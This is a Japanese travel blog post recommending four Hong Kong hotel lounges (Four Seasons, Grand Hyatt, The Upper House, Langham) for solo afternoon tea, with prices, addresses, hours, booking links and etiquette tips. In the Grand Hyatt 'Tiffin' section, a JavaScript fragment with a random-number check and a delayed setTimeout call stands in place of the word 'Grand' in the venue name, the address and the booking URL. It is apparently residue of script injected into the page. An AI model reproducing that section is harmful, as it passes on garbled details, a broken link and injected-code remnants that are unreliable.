女性にとっては香港旅行の必須ともいえる「アフタヌーンティー」。香港は歴史的にもイギリス文化の影響を受け、アフタヌーンティーを楽しめるホテルやレストランがたくさんあります。
一人旅だとアフタヌーンティーを躊躇してしまいがちですが、香港のアフタヌーンティーは一人分の料金設定があり、一人でも楽しめるようになっています。
今回は香港アフタヌーンティーの定番ペニンシュラ、マンダリンやリッツカールトンホテルではなく、おひとり様でも周りを気にせず楽しめるアフタヌーンティーをご紹介します。
すべて公式サイトから予約ができるので記事内のリンクからぜひ予約してみてくださいね。
ネット予約可能で1人でも楽しめる香港アフタヌーンティー
おひとり様が多いフォーシーズンズホテル「The lounge」
フォーシーズンズホテルのロビーにあるこちらのお店は、天井までガラス張りで、ゆっくりとヴィクトリアハーバーとセントラルの景色を同時に楽しむことができます。
時間によってはピアノの生演奏を聞きながらゆっくり紅茶と食事を頂けます。香港駅直結のため帰国する日に行ってもいいかもしれませんね。
◆一人客の女性が多い
ひとりで来ている女性客がとても多く、周りも全く気にならずアフタヌーンティーできるのがいいところです。また横のテーブルとの間隔も広く落ち着くことができます。
◆お値段(一人分)
- 平日:308ドル+10%
- 土・祝:328ドル+10%
- 日:328ドル+10%
- ビュッフェ:438ドル+10% ※土曜のみ
お店 | The Lounge (Four Seasons Hotel ) |
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住所 | Four Seasons Hotel Hong Kong, 8 Finance Street, Central |
行き方 | 香港駅 E1 出口, 步行約5分 |
電話番号 | 3196 8820 |
時間 | 15:00-17:30 |
予約 | 可(ネット予約可) |
◆予約
https://www.fourseasons.com/jp/hongkong/dining/restaurants/the_lounge/一人でも目立たない穴場のグランドハイアットホテル「Tiffin」
大きい窓と高い天井で開放感あふれる空間のグランドハイアット「Tiffin(ティフィン)」。窓からは緑豊かな公園が広がっており、ヴィクトリアハーバーの行き交う船や九龍半島の景色を見ることができます。
優雅なひとときを演出するのはこちらの生演奏。ピアノ、バイオリン、チェロによる心地よい音色が空間を包みます。またソファ席がとても多く、席の配置も余裕があり落ち着くことができます。
◆人が少ない穴場のアフタヌーンティー
湾仔駅からは少し離れていることや周りに観光スポットがないからなのか、週末でもお客さんは少なく感じます。またここはオフィス街近いこともあり欧米人の一人客が多く、日本人は少ないため周りを気にせず楽しむことができます。
◆「Tiffin(ティフィン)」のアフタヌーンティーの特長
3段トレイのアフタヌーンティーとは別に、別のコーナーにあるスイーツやアイスクリームが食べ放題です。マカロンやワッフルもあり、シェフにオーダーすると目の前でワッフルを焼いてもらえます。
◆お値段(一人分)
298ドル+10%
お店 | Tiffin(Grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Hyatt Hong Kong) |
---|---|
住所 | Mezzanine Floor,Grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Hyatt HK,1 Harbour Road, Wan Chai |
行き方 | 湾仔駅 A5 出口 |
電話番号 | 25847722 |
時間 | 15:30-17:30 |
予約 | 可(ネット予約可) |
◆予約
https://www.hongkong.grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and.hyattrestaurants.com/restaurants-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-bars/tiffin/
景色が素晴らしいおしゃれなアッパーハウス「Cafe Grey Deluxe」
ここのアフタヌーンティーは味もさることながら49階から眺める景色が本当に素晴らしく、「香港にやって来た!」という気持ちにさせてくれるレストランです。個人的には一番好きなお店です。予約する際に窓側を希望してくださいね。
◆内装がおしゃれで落ち着いている
このホテルはできてまだ8年で新しく、有名なデザイナーが手掛けたため内装はとてもおしゃれです。香港の他のホテルのようなギラギラした豪華さはなく、とてもシックで落ち着きのある空間になっています。客層もよく、騒がしいお客さんもいないのでゆっくりと食事を頂くことができます。
ここに行かれた際はぜひお手洗いにも行ってみてください。香港の景色に感動します。(夜はもっと素敵です)
◆お値段(一人分)
285ドル+10%
お店 | Cafe Grey Deluxe(The Upper House) |
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住所 | L49 The Upper House, Pacific Place, 88 Queensway, Admiralty |
行き方 | 金鐘駅 F 出口 |
電話番号 | 39681106 |
時間 | 15:30-17:30 |
予約 | 可(ネット予約可) |
◆予約
WEDGWOODが可愛いランガムホテル「Palm Court」
このアフタヌーンティーの一番の魅力は、ウェッジウッドの食器が使われていること!とても可愛く日本人のファンも多いウェッジウッドで頂くアフタヌーンティーは格別です。
繁華街の尖沙咀(チムサーチョイ)にあるにも関わらず、ペニンシュラに比べると観光地化されておらず、予約なしても入ることができます。(予約可能なのでしていた方がベター)
◆お値段(一人分)
368ドル+10%
お店 | Palm Court(The Langham Hong Kong ) |
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住所 | Lobby Level, The Langham Hong Kong, 8 Peking Road, Tsim Sha Tsui |
行き方 | 尖沙咀/尖東駅 C1 / L5 出口 |
電話番号 | 21327898 |
時間 | 15:00-17:30(平日)/14:15-18:30(土日祝) |
予約 | 可(ネット予約可) |
◆予約
アフタヌーンティーを楽しむための基本
アフタヌーンティーとは?
アフタヌーンティーはイギリス発祥の喫茶習慣です。習慣といっても飲食を楽しむことよりも、社交の場としての意味合いが大きく、食器や食べ物、室内装飾、お花、会話の内容など高度な知識が要求されます。日本でいう茶道のようなものといわれています。
しかし、始まりは上流階級のたしなみとして楽しまれたアフタヌーンティーは、徐々に労働階級まで浸透し、現在では簡略化され食事と会話を楽しむものになっています。
作法は?
本格的なアフタヌーンティーでは作法の目安はありますが、必ずしも堅苦しいマナーを守らなければいけないというわけではありません。
おおよその手順として、基本的には下から順に食べて行きます。スコーンは素手で横に割ってジャムなどをつけて食べましょう。
食事は「楽しむ」ことが大切で、優雅なひと時を楽しむのが一番のマナーです。
服装は正装が必要?
アフタヌーンティーに厳密なドレスコードは決まっていません。ただし一流ホテルの場合は会場の雰囲気に合わせて、ある程度ドレスアップしていくのがマナーです。
香港では割とカジュアルな服装の方が多いです。
香港で一人アフタヌーンティのまとめ
今回紹介した4つのレストランはすべて事前予約可能です。高級ホテルで、宿泊者以外でもアフタヌーンティーの予約が可能なのは大変珍しいです。
また一人客が多いレストランということもあり周りの目を気にすることなく、のんびり過ごすことができるので、機会があれば行ってみてくださいね。
香港で一人飲茶される際はこちらを参考にしてください。
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